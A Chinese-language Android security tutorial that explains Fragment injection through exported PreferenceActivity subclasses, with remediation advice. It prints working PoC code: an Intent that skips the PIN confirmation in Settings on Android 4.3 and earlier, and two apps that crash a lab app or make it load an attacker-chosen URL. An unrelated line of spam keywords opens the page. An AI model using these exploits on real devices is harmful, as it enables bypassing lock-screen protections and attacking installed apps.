免费爱碰视频在线观看,九九精品国产屋,欧美亚洲尤物久久精品,1024在线观看视频亚洲

      關(guān)于Android Fragment 漏洞,你了解多少?


      也許每個人出生的時候都以為這世界都是為他一個人而存在的,當(dāng)他發(fā)現(xiàn)自己錯的時候,他便開始長大

      少走了彎路,也就錯過了風(fēng)景,無論如何,感謝經(jīng)歷


      更多關(guān)于Android安全的知識,可前往:https://blog.csdn.net/ananasorangey/category11955914.html

      0x01 前言

      為了適應(yīng)越來越大的設(shè)備屏幕,Android 3.X后引入了Fragment概念,作用是可以在一個屏幕上同時顯示多個Activity,以達到充分利用屏幕的目的。其中,F(xiàn)ragment有一個很強大的功能,就是可以動態(tài)加載。這樣可以讓整個界面的開發(fā)更加靈活,可以根據(jù)不同的場景動態(tài)加加載不同的Activity

      Fragment:

      • 是Android 3.0(API 11)提出的,為了兼容低版本,support-v4庫中也開發(fā)了一套Fragment API,最低兼容Android 1.6,如果要在最新的版本中使用Fragment,需要引入AndroidX的包
      • 是Activity中用戶界面的一個行為或者是一部分。主要是支持在大屏幕上動態(tài)和更為靈活的去組合或是交換UI組件,通過將Activity的布局分割成若干個Fragment,可以在運行時編輯Activity的呈現(xiàn),并且那些變化會被保存在由Activity管理的后臺棧里面
      • 必須總是被嵌入到一個Activity之中,并且Fragment的生命周期直接受其宿主Activity的生命周期的影響。可以認為Fragment是Activity的一個模塊零件,它有自己的生命周期,接收它自己的輸入事件,并且可以在Activity運行時添加或者刪除

      簡單的來說,應(yīng)該將每一個Fragment設(shè)計為模塊化的和可復(fù)用化的Activity組件。也就是說,你可以在多個Activity中引用同一個Fragment,因為Fragment定義了它自己的布局,并且使用它本身生命周期回調(diào)的行為

      相比Activity,F(xiàn)ragment具有如下一些特點:

      • 模塊化(Modularity):我們不必把所有代碼全部寫在Activity中,而是把代碼寫在各自的Fragment中
      • 可重用(Reusability):多個Activity可以重用一個Fragment
      • 可適配(Adaptability):根據(jù)硬件的屏幕尺寸、屏幕方向,能夠方便地實現(xiàn)不同的布局,這樣用戶體驗更好

      Fragment 幾個核心的類:

      • Fragment:Fragment的基類,任何創(chuàng)建的Fragment都需要繼承該類
      • FragmentManager:管理和維護Fragment。它是抽象類,具體的實現(xiàn)類是FragmentManagerImpl
      • FragmentTransaction:對Fragment的添加、刪除等操作都需要通過事務(wù)方式進行。它是抽象類,具體的實現(xiàn)類是BackStackRecord

      1.1 生命周期

      Fragment必須是依存于Activity而存在的,因此Activity的生命周期會直接影響到Fragment的生命周期。正常情況下,Activity會經(jīng)歷如下幾個階段:

      生命周期函數(shù)

      相關(guān)解釋

      onAttach()

      關(guān)聯(lián)到Activity的時候調(diào)用。如果,需要使用Activity的引用或者使用Activity作為其他操作的上下文,將在此回調(diào)方法中實現(xiàn)

      onCreate()

      系統(tǒng)創(chuàng)建Fragment的時候回調(diào)

      onCreateView()

      當(dāng)?shù)谝淮卫L制Fragment的UI時系統(tǒng)調(diào)用這個方法,該方法將返回一個View,如果Fragment不提供UI也可以返回null。注意,如果繼承自ListFragment,onCreateView()默認的實現(xiàn)會返回一個ListView,所以不用自己實現(xiàn)。這個函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個

      onActivityCreated()

      當(dāng)Activity中的onCreate方法執(zhí)行完后調(diào)用??梢栽谶@個函數(shù)里面做和Activity UI交互的操作(因為Activity的onCreate()函數(shù)之后Activity的UI已經(jīng)準(zhǔn)備好了,可以UI交互)。這個函數(shù)的Bundle參數(shù)和onCretate()函數(shù)的Bundle蠶食是同一個

      onStart()

      啟動Fragment的時候回調(diào),這個時候Fragment可見

      onResume()

      Fragment變?yōu)榛顒訝顟B(tài)獲取焦點的時候是回調(diào),這個時候Fragment已經(jīng)完全展示在前臺,并且可以和用戶交互

      onPause()

      Fragemnt變成非活動狀態(tài)失去焦點的時候調(diào)用,注意這個時候Fragment還是可見的,只是不能和用戶交互了而已

      onStop()

      Fragment變成不可見的時候調(diào)用。這個時候Fragment還是活著的,只是可能別加入到了Fragment的回退棧中

      onDestroyView()

      Fragment中的布局被移除的時候調(diào)用

      onDestroy()

      Fragment被銷毀的時候調(diào)用

      onDetach()

      Fragment和Activity解除關(guān)聯(lián)的時候調(diào)用個

      如下圖所示:

      如下圖是Activity的生命周期和Fragment的各個生命周期方法的對應(yīng)關(guān)系:

      1.2 與Activity傳遞數(shù)據(jù)

      1)將Fragment添加到Activity之中

      可以通過在Activity布局文件中聲明Fragment,用Fragment標(biāo)簽把Fragment插入到Activity的布局中,或者是用應(yīng)用程序源碼將它添加到一個存在的ViewGroup中。  但Fragment并不是一個定要作為Activity布局的一部分,F(xiàn)ragment也可以為Activity隱身工作

      2)在Activity的布局文件里聲明Fragment

      可以像為view一樣為Fragment指定布局屬性。例如:

       

      Fragment標(biāo)簽中的android:name 屬性指定了布局中實例化的Fragment類。

      當(dāng)系統(tǒng)創(chuàng)建Activity布局時,它實例化了布局文件中指定的每一個Fragment,并為它們調(diào)用onCreateView()函數(shù),以獲取每一個Fragment的布局。系統(tǒng)直接在元素的位置插入Fragment返回的View

      注:每個Fragment都需要一個唯一的標(biāo)識,如果重啟Activity,系統(tǒng)可用來恢復(fù)Fragment(并且可用來捕捉Fragment的事務(wù)處理,例如移除)。為Fragment提供ID有三種方法:

      1)用android:id屬性提供一個唯一的標(biāo)識2)用android:tag屬性提供一個唯一的字符串3)如果上述兩個屬性都沒有,系統(tǒng)會使用其容器視圖(view)的ID

      3)通過編碼將Fragment添加到已存在的ViewGroup中

      在Activity運行的任何時候,你都可以將Fragment添加到Activity布局中。要管理Activity中的Fragment,可以使用FragmentManager。可以通過在Activity中調(diào)用getFragmentManager()獲得。使用FragmentManager 可以做如下事情,包括:

      • 使用findFragmentById()(用于在Activity布局中提供有界面的Fragment)或者findFragmentByTag()獲取Activity中存在的Fragment(用于有界面或者沒有界面的Fragment)
      • 使用popBackStack()(模仿用戶的BACK命令)從后臺棧彈出Fragment
      • 使用addOnBackStackChangedListener()注冊一個監(jiān)聽后臺棧變化的監(jiān)聽器

      在Android中,對Fragment的事務(wù)操作都是通過FragmentTransaction來執(zhí)行。操作大致可以分為兩類:

      • 顯示:add() replace() show() attach()
      • 隱藏:remove() hide() detach()

      注:調(diào)用show() & hide()方法時,F(xiàn)ragment的生命周期方法并不會被執(zhí)行,僅僅是Fragment的View被顯示或者隱藏

      • 執(zhí)行replace()時(至少兩個Fragment),會執(zhí)行第二個Fragment的onAttach()方法、執(zhí)行第一個Fragment的onPause()-onDetach()方法,同時containerView會detach第一個Fragment的View
      • add()方法執(zhí)行onAttach()-onResume()的生命周期,相對的remove()就是執(zhí)行完成剩下的onPause()-onDetach()周期

      可以像下面這樣從Activity中取得FragmentTransaction的實例:

      FragmentManager FragmentManager = getFragmentManager() FragmentTransaction FragmentTransaction = FragmentManager.beginTransaction();

      可以用add()函數(shù)添加Fragment,并指定要添加的Fragment以及要將其插入到哪個視圖(view)之中(注意commit事務(wù)):

      ExampleFragment Fragment = new ExampleFragment();FragmentTransaction.add(R.id.Fragment_container, Fragment);FragmentTransaction.commit();

      4)Fragment事務(wù)后臺棧

      在調(diào)用commit()之前,可以將事務(wù)添加到Fragment事務(wù)后臺棧中(通過調(diào)用addToBackStatck())。這個后臺棧由Activity管理,并且允許用戶通過按BACK鍵回退到前一個Fragment狀態(tài)。

      下面的代碼中一個Fragment代替另一個Fragment,并且將之前的Fragment狀態(tài)保留在后臺棧中:

      Fragment newFragment = new ExampleFragment();FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.replace(R.id.Fragment_container, newFragment);transaction.addToBackStack(null);transaction.commit();

      注:

      • 如果添加多個變更事務(wù)(例如另一個add()或者remove())并調(diào)用addToBackStack(),那么在調(diào)用commit()之前的所有應(yīng)用的變更被作為一個單獨的事務(wù)添加到后臺棧中,并且BACK鍵可以將它們一起回退
      • 當(dāng)移除一個Fragment時,如果調(diào)用了addToBackStack(),那么之后Fragment會被停止,如果用戶回退,它將被恢復(fù)過來
      • 調(diào)用commit()并不立刻執(zhí)行事務(wù),相反,而是采取預(yù)約方式,一旦Activity的界面線程(主線程)準(zhǔn)備好便可運行起來。然而,如果有必要的話,你可以從界面線程調(diào)用executePendingTransations()立即執(zhí)行由commit()提交的事務(wù)
      • 只能在Activity保存狀態(tài)(當(dāng)用戶離開Activity時)之前用commit()提交事務(wù)。如果你嘗試在那時之后提交,會拋出一個異常。這是因為如果Activity需要被恢復(fù),提交后的狀態(tài)會被丟失。對于這類丟失提交的情況,可使用commitAllowingStateLoss()

      5)與Activity交互

      Activity中已經(jīng)有了該Fragment的引用,直接通過該引用進行交互。

      如果沒引用可以通過調(diào)用Fragment的函數(shù)findFragmentById()或者findFragmentByTag(),從FragmentManager中獲取Fragment的索引,例如:

      ExampleFragment Fragment = (ExampleFragment) getFragmentManager().findFragmentById(R.id.example_Fragment);

      在Fragment中可以通過getActivity得到當(dāng)前綁定的Activity的實例,創(chuàng)建Activity事件回調(diào)函數(shù),在Fragment內(nèi)部定義一個回調(diào)接口,宿主Activity來實現(xiàn)它。Activity向Fragment傳參:

      很多人提到向Fragment傳遞參數(shù)會下意識想到重寫Fragment的構(gòu)造方法并傳入自己的參數(shù)。事實上,這種方式時極不科學(xué)和極不安全的,因為Android在很多場景下都會出現(xiàn)Fragment的重建情況(比如橫豎屏的切換),但是重建的時候系統(tǒng)并不會使用你編寫的Fragment的構(gòu)造方法而是調(diào)用Fragment默認的構(gòu)造方法,這個時候你傳的參數(shù)將會消失導(dǎo)致各種異常。那么如何更安全地向Fragment傳遞參數(shù)呢,Google官方推薦的setArguments方法:

      • 初始化Fragment實例并setArguments

      DiscoverFragment discoverFragment = new DiscoverFragment();Bundle bundle = new Bundle();bundle.putString(“email”, email);discoverFragment.setArguments(bundle);

      • 在Fragment中拿到Arguments:

      @Nullable@Overridepublic View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {View view = inflater.inflate(R.layout.Fragment_discover, null);Bundle bundle = getArguments();//這里就拿到了之前傳遞的參數(shù)email = bundle.getString(“email”);return view;}

      • Fragment向Activity傳遞數(shù)據(jù)

      首先,在Fragment中定義接口,并讓Activity實現(xiàn)該接口,如下:

      public interface OnFragmentInteractionListener {void onItemClick(String str);}

      接下來,在Fragment的onAttach()中,將參數(shù)Context強轉(zhuǎn)為OnFragmentInteractionListener對象傳遞過去

      public void onAttach(Context context) {super.onAttach(context);if (context instanceof OnFragmentInteractionListener) {mListener = (OnFragmentInteractionListener) context;} else {throw new RuntimeException(context.toString()+ ” must implement OnFragmentInteractionListener”);}}

      • Activity向Fragment傳遞數(shù)據(jù)

      在創(chuàng)建Fragment的時候,可以通過setArguments(Bundle bundle)方式將值傳遞給Activity,如下:

      public static Fragment newInstance(String str) {FragmentTest fragment = new FragmentTest();Bundle bundle = new Bundle();bundle.putString(ARG_PARAM, str);fragment.setArguments(bundle);//設(shè)置參數(shù)return fragment;}

      6)Fragment && Fragment數(shù)據(jù)交互

      Fragment和Fragment間數(shù)據(jù)交互,應(yīng)該也是會經(jīng)常用到的??墒褂盟拗鰽ctivity做傳遞媒介,原理其實也是通過使用onActivityResult回調(diào),完成Fragment && Fragment的數(shù)據(jù)交互,這其中有兩個比較重要的方法:Fragment.setTargetFragment、getTargetFragment()

      在 FirstFragment 中,通過setTargetFragment來連接需要交互的Fragment:

      secondFragment.setTargetFragment(FirstFragment.this, REQUEST_CODE);

      接著實現(xiàn)onActivityResult,處理傳遞過來的數(shù)據(jù):

      @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if(resultCode != Activity.RESULT_OK){ return; }else{ Integer str = data.getIntExtra(“key”,-1); //處理數(shù)據(jù)… } }

      在 SecondFragment 中調(diào)用sendResult()方法,回傳數(shù)據(jù)給 FirstFragment:

      private void sendResult(int resultOk) {if (getTargetFragment() == null) {return} else {Intent intent = new Intent();intent.putExtra(“key”, 520);getTargetFragment().onActivityResult(FirstFragment.REQUEST_CODE, resultOk, intent)}}

      1.3 Android Fragment 漏洞產(chǎn)生的原因

      Android是基于Linux開放性內(nèi)核的操作系統(tǒng),是Google公司在2007年發(fā)布的手機操作系統(tǒng)

      Google Android 4.3及之前版本的沙盒環(huán)境存在安全漏洞,該漏洞影響任何使用PreferenceActivity類的應(yīng)用,包括Settings, Gmail, Google Now, Dropbox, Evernote。攻擊者可利用此漏洞執(zhí)行任意代碼,從而繞過Android沙盒,執(zhí)行未授權(quán)操作

      Android 4.3及之前版本在應(yīng)用中采用不安全的 PreferenceActivity 類實施方式的開發(fā)者。在這種情況下,這些類會讓人利用 Fragment 實現(xiàn)注入攻擊,這種實現(xiàn)方式讓惡意的外部應(yīng)用可以加載原本不公開的 Fragment。例如,通過導(dǎo)出的PreferenceActivity的子類,沒有正確處理Intent的extra值。攻擊者可繞過限制訪問未授權(quán)的界面

      從 2017 年 3 月 1 日起,Google Play 開始禁止發(fā)布存在以下情況的新應(yīng)用或應(yīng)用更新:其 PreferenceActivity 類可能有安全漏洞,讓攻擊者可以利用 Fragment 實現(xiàn)注入攻擊。請參閱 Play 管理中心內(nèi)的通知。在 Play 管理中心顯示的截止日期過后,系統(tǒng)可能會將所有包含未修復(fù)安全漏洞的應(yīng)用從 Google Play 中移除

      產(chǎn)生的原因:

      • 錯誤地實施 isValidFragment:

      檢查存在漏洞的類是否包含或沿用了實施 isValidFragment 的方式(即在所有代碼路徑中返回 True)。如果確實是這樣,請更新該類,以檢查是否存在允許的 Fragment 類列表。例如:如果 PreferenceActivity 應(yīng)該允許使用 MyFragment 類而不得使用其他 Fragment,請按照如下方式實施檢查:

      public boolean isValidFragment(String fragmentName) {return MyFragment.class.getName().equals(fragmentName);}

      • targetSdkVersion 小于 19 并且未實施 isValidFragment:

      如果應(yīng)用目前在清單中將其 targetSdkVersion 設(shè)為小于 19 的值,并且存在漏洞的類不包含 isValidFragment 的任何實施方式,那么漏洞便來自于 PreferenceActivity。

      注:由于Fragment可以加載APP內(nèi)的任意未導(dǎo)出組件,因此Fragment注入漏洞可攻擊面比較廣

      0x02 經(jīng)典Setting Fragment Inject漏洞之繞過舊密碼驗證修改密碼

      首先我們來看一個經(jīng)典的老洞,雖然現(xiàn)在沒有了,但漏洞產(chǎn)生的原理,還是值得思考,而且修復(fù)的方式并不一定代表再新的版本中就不存在,這取決于開發(fā)人員的安全能力

      Android 4.4之前版本的Fragment繞過PIN碼攻擊原理:

      • 導(dǎo)出的PreferenceActivity的子類中,沒有加入isValidFragment方法,進行fragment名的合法性校驗,攻擊者可能會通過設(shè)置Intent的extra,實現(xiàn)動態(tài)修改PreferenceActivity的初次顯示的Fragment,來繞過限制,訪問未授權(quán)的界面

      攻擊條件:

      • Android 4.3及之前版本
      • 有Activity繼承PreferenceActivity類并且被聲明成export=true

      攻擊面:

      • 在Java中,當(dāng)一個對象被構(gòu)建的時候,這個類的靜態(tài)構(gòu)建函數(shù)和對象的構(gòu)建函數(shù)都被執(zhí)行,如果這兩個函數(shù)包含特定的代碼, 則可以觸發(fā)攻擊,由于構(gòu)建出來的對象需要轉(zhuǎn)換成Fragment對象,所以當(dāng)產(chǎn)生的對象不是Fragment類型則會出異常
      • 但是,如果這個對象剛好是一個Fragment類型時,PreferenceActivity能展現(xiàn)對應(yīng)的界面,可以繞過某些驗證而直接呼出對應(yīng)的界面

      手工檢測:

      • 反編譯APK,檢索到繼承PreferenceActivity的子類,查看子類是否重寫了isValidFragment方法,Activity是否對外暴露(exported)

      相關(guān)知識:

      • PreferenceActivity兩個重要的Intent Extra

      這兩個參數(shù)可以決定當(dāng)前的PreferenceActivity首次顯示的Fragment

      // extra域包含PreferenceActivity要動態(tài)加載的FragmentPreferenceActivity.EXTRA_SHOW_FRAGMENT (‘:android:show_fragment’) // extra域包含傳給該Fragment的參數(shù)PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (‘:android:show_fragment_arguments’)

      注:Android Framework提供了android.preference.PreferenceActivity這個類來對preference進行展示,我們可以繼承這個類來展示preference并進行擴展?;愔袝邮誌ntent數(shù)據(jù),并進行一定檢查,如上兩個類就是

      Fragment與Activity的關(guān)系:

      • 一個activity提供一個單一的屏幕和一些功能,一個activity可以包含多個Fragment
      • Fragment可以在不同的activities中重用

      Android框架支持在Activity中以Fragment的形式展示界面,而PreferenceActivity是一個支持Fragment的基類activity,它會根據(jù)傳人的參數(shù)EXTRA_SHOW_FRAGMENT, (‘:android:show_fragment’)動態(tài)創(chuàng)建fragment而現(xiàn)實相應(yīng)的界面, 問題就出在PreferenceActivity沒有檢查傳入的參數(shù), 盲目的根據(jù)傳入的參數(shù)構(gòu)建對象

      利用Fragment實現(xiàn)注入攻擊。從3.X后,Android工程師重構(gòu)PreferenceActivity的實現(xiàn),采用Fragment實現(xiàn)界面的加載。通過閱讀源碼可以發(fā)現(xiàn),PreferenceActivity的onCreate里,需要讀取Intent的多個extra內(nèi)容,常量都定義在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有兩個常量分別是EXTRA_SHOW_FRAGMENT=”:android:show_fragment”和EXTRA_SHOW_FRAGMENT_ARGUMENTS=”:android:show_fragment_args”,這兩個參數(shù)可以決定當(dāng)前的PreferenceActivity首次顯示的Fragment。過程比較簡單,就是先拿到fragment_class和fragment_args,然后通過反射生成一個Fragment實例,并動態(tài)加載。參數(shù)傳遞關(guān)鍵點:參數(shù)傳遞

      • 第一個extra域包含PreferenceActivity要動態(tài)加載的Fragment,F(xiàn)ragment也可以通過Fragment.getActivity這個函數(shù)來獲取傳進來的參數(shù)。PreferenceActivity會調(diào)用Fragment.instantiate來動態(tài)加載Fragment.這個函數(shù)通過反射來加載Fragment,并把它變成Fragment對象
      • 第二個extra域包含傳給該Fragment的參數(shù),其中最關(guān)鍵的邏輯代碼如下:

      mSinglePane = hidingHeaders || !onIsMultiPane();String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

      先獲取initalFragment和initialArguments兩個參數(shù),之后在switchToHeaderInner里完成實例化:

      private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {getFragmentManager().popBackStack(BACK_STACK_PREFS, FragmentManager.POP_BACK_STACK_INCLUSIVE);Fragment f = Fragment.instantiate(this, fragmentName, args);FragmentTransaction transaction = getFragmentManager().beginTransaction();transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);transaction.replace(com.android.internal.R.id.prefs, f);transaction.commitAllowingStateLoss();}

      到此為止,我們可以通過設(shè)置Intent的extral,實現(xiàn)動態(tài)修改PreferenceActivity的初次顯示的Fragment

      多啰嗦一下,其實Fragment也可以通過Fragment.getActivity這個函數(shù)來獲取傳進來的參數(shù)。PreferenceActivity會調(diào)用Fragment.instantiate來動態(tài)加載Fragment.這個函數(shù)通過反射來加載Fragment,并把它變成Fragment對象,如下圖:

      https://www.androidos.net.cn/android/4.3_r1/xref/frameworks/base/core/java/android/app/Fragment.java

      任何繼承自PreferenceActivity并對外導(dǎo)出的組件,都會受到攻擊。惡意APP可以傳android:show_fragment這個extra值來指定要動態(tài)加載的類。在PreferenceActivity的context里,通過dalvik.system.PathClassLoader函數(shù)來動態(tài)加載類,由于沒有對請求的APP進行校驗,惡意APP可以動態(tài)加載有漏洞APP里面的任何類(包括未導(dǎo)出類),使得惡意APP可以訪問有漏洞APP的隱私信息

      對比4.4和4.2之間的區(qū)別代碼,如下:

      https://www.androidos.net.cn/android/4.4.4_r1/xref/frameworks/base/core/java/android/app/Fragment.java

      https://www.androidos.net.cn/android/4.2.2_r1/xref/frameworks/base/core/java/android/app/Fragment.java

      在Android系統(tǒng)里,APP與APP是互相隔離的,互相之間不能訪問對方的私有數(shù)據(jù)。APP與APP之間(更準(zhǔn)確地說應(yīng)該是組件與組件之間)的通訊,統(tǒng)一使用Intent。通過Intent可以很方便的喚起其他APP的Activity,達到功能重用的目的。比如平時使用ZAKER,你需要在微信圈里分享,通過這種方式就可以直接跳到微信的分享界面了。但使用這種方式的前提是目標(biāo)Activity是exported的

      結(jié)合上面的兩個關(guān)鍵點,我們是否可以尋找一個exported的PreferenceActivity的子類,并通過精心設(shè)置Intent的extral的值,以實現(xiàn)打開那些沒有exported的界面呢?如果這些界面涉及安全方面信息的話,又會怎樣呢?

      Android 3.X到4.3中的所有版本的一個漏洞,太老了沒啥用(但攻擊的思路以及概念值得參考),Setting幾乎每個Android設(shè)備都有的。Setting是以system_uid方式簽名,所以具備行使system的權(quán)力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。我們以此作為入口,嘗試尋找Setting里有哪些重要的Fragment,并嘗試把它加載進來,主要目的是希望可以跳過某些需要用戶交互的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責(zé)鎖屏界面的密碼設(shè)定和修改。同時,這個類會根據(jù)之前傳入的initialArguments做不同的邏輯,關(guān)鍵代碼如下所示:

      Intent intent = getActivity().getIntent();final boolean confirmCredentials = intent.getBooleanExtra(“confirm_credentials”, true);if (savedInstanceState == null) {updateStage(Stage.Introduction);if (confirmCredentials) {mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);}} else {mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);final String state = savedInstanceState.getString(KEY_UI_STAGE);if (state != null) {mUiStage = Stage.valueOf(state);updateStage(mUiStage);}}

      如果傳入的參數(shù)當(dāng)中,key為”confirm_credentials”為true,就會調(diào)起舊密碼驗證的流程。如果為false,就可以跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼如下所示:

      Intent intent = new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);intent.setClassName(“com.android.settings”, “com.android.settings.Settings”);intent.putExtra(“: android: show_fragment”, “com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment”);intent.putExtra(“confirm_credentials”, false);startActivity(intent);

      繞過密碼PIN BUG存在于3.X到4.3中的所有版本,4.4已經(jīng)修復(fù)了,在Android 4.4中強制所有PreferenceActivity必須要實現(xiàn)isValidFragment方法,如下:

      https://developer.android.com/reference/android/preference/PreferenceActivity.html#isValidFragment(java.lang.String)

      正常的密碼修改流程是”設(shè)置”->“安全”->“屏幕鎖定”->“確認你的PIN”,如下:

      如果利用攻擊代碼,即可跳過“確認你的PIN”直接進入“選擇你的PIN”頁面,如下:

      注:漏洞雖然修復(fù)了,但是修復(fù)能力主要依賴于開發(fā)人員的安全能力問題,這類問題在新版本上,依然存在

      2.1 修復(fù)建議

      • 如果應(yīng)用的Activity組件不必要導(dǎo)出,或者組件配置了intent filter標(biāo)簽,建議顯示設(shè)置組件的“android:exported”屬性為false
      • 重寫繼承子類的isValidFragment方法,驗證Fragment來源的正確性
      • 當(dāng)targetSdk大于等于19時,強制實現(xiàn)了isValidFragment方法;小于19時,在PreferenceActivity的子類中都要加入isValidFragment ,兩種情況下在isValidFragment方法中進行fragment名的合法性校驗。
      • isValidFragment(String fragmentName) 返回Boolean(子類應(yīng)當(dāng)重寫這個方法,并對fragment進行校驗判斷)

      public final class MyPreferenceActivity extends PreferenceActivity {private boolean doValidcheck(String fragmentName) throws IllegalArgumentException {// TODO 做合法性檢查return true;// 注意check,千萬要注意}// 添加上這個方法,以使2.x~4.3的代碼在4.4上可以正常運行protected boolean isValidFragment(String fragmentName) {return doValidcheck(fragmentName);}@Overrideprotected void onCreate(Bundle savedInstanceState) {// 在onCreate前就做合法性判斷Stringfragmentname = getIntent().getStringExtra(“:android:show_fragment”);doValidcheck(fragmentname);super.onCreate(savedInstanceState);}}

      0x03 Android Fragment之拒絕服務(wù)

      樣本APK下載地址:https://github.com/AndroidAppSec/vuls/releases/tag/v4.2

      由于通過該漏洞可以加載APP里面的任何類,包括未導(dǎo)出類,如果未導(dǎo)出類對畸形消息處理不當(dāng),將會導(dǎo)致本地拒絕服務(wù)漏洞。下面以vuls.apk為例

      ddns.android.vuls.activities.Activity.FragmentActivity組件對外導(dǎo)出:

      ddns.android.vuls.activities.Activity.FragmentActivity組件繼承自PreferenceActivity:

      public class FragmentActivity extends PreferenceActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overrideprotected boolean isValidFragment(String fragmentName) {Log.e(“FragmentVuls”, “fragmentName: ” + fragmentName);return true;}}

      由于沒有對Fragment注入漏洞進行防御,可通過該漏洞加載app內(nèi)任意不導(dǎo)出的組件。選擇com.irccloud.android.fragment.ServerReorderFragment作為攻擊目標(biāo):

      public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}

      ServerReorderFragment沒有對畸形消息進行處理,導(dǎo)致拒絕服務(wù),攻擊EXP,如下:

      • MainActivity.java 代碼:

      package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽點擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”BaoBaoBaoBaoBaoBao”);startActivity(intent);//成功Dos后的提示Toast.makeText(MainActivity.this,”Dos攻擊ddns.android.vuls應(yīng)用”, Toast.LENGTH_SHORT).show();Log.d(“拒絕服務(wù)攻擊:”,”ddns.android.vuls 應(yīng)用被Dos攻擊”);}});}}

      • activity_main.xml 代碼:

      效果如下:

      0x04 Android Fragment之遠程命令執(zhí)行

      由于現(xiàn)在很多組件都是基于Webview來展示頁面,并且Fragment組件應(yīng)用越來越廣,以后將會有越來越多的Webview組件是基于Fragment來展示。由于Fragment注入漏洞可以加載app內(nèi)任意未導(dǎo)出組件,如果基于Fragment的Webview組件存在addJavascriptInterface漏洞,將會導(dǎo)致遠程命令執(zhí)行漏洞。大家可以在市面上老的APP里找下,發(fā)現(xiàn)很多Webview組件基于Fragment,但是繼承自PreferenceActivity的組件是不導(dǎo)出的。因此,下面將利用vuls.apk來做驗證可行性,當(dāng)然同學(xué)你可以自己寫個demo來做嘗試,下面測試的環(huán)境是在Android 4.4中進行的

      ddns.android.vuls.activities.Activity.FragmentActivity組件對外導(dǎo)出,并繼承自PreferenceActivity:

      WebviewFragment導(dǎo)出JavaScript接口,并加載URL(在 vuls 中有以下的 Fragment)。如下攻擊場景中可讓Fragment加載指定的網(wǎng)頁:

      public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}

      利用Fragment Injection漏洞對TargetFragment攻擊,加載任意 Fragment 攻擊的EXP,如下:

      • MainActivity.java 代碼:

      package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽點擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”ddns.android.vuls.activities.Activity.TargetFragment”);intent.setData(Uri.parse(“https://orangey.blog.csdn.net”));startActivity(intent);//成功加載任意Fragment攻擊后的提示Toast.makeText(MainActivity.this,”加載任意Fragment攻擊:成功加載Orangey CSDN博客”, Toast.LENGTH_SHORT).show();Log.d(“加載任意Fragment攻擊:”,”成功加載Orangey CSDN博客”);}});}}

      • activity_main.xml 代碼:

      通過Fragment Injection漏洞,TargetFragment已加載惡意URL,如下:

      注:如果Fragment的Webview組件允許webView.addJavascriptInterface漏洞,即可惡意加載惡意JS代碼,代表存在遠程代碼執(zhí)行漏洞攻擊。這個此處就不再演示了,可以前往之前的WebView的文章查看,攻擊手法差不多,不再重復(fù)講解

      參考鏈接:

      https://segmentfault.com/a/1190000039960026

      https://blog.csdn.net/wuyuxing24/article/details/78698633

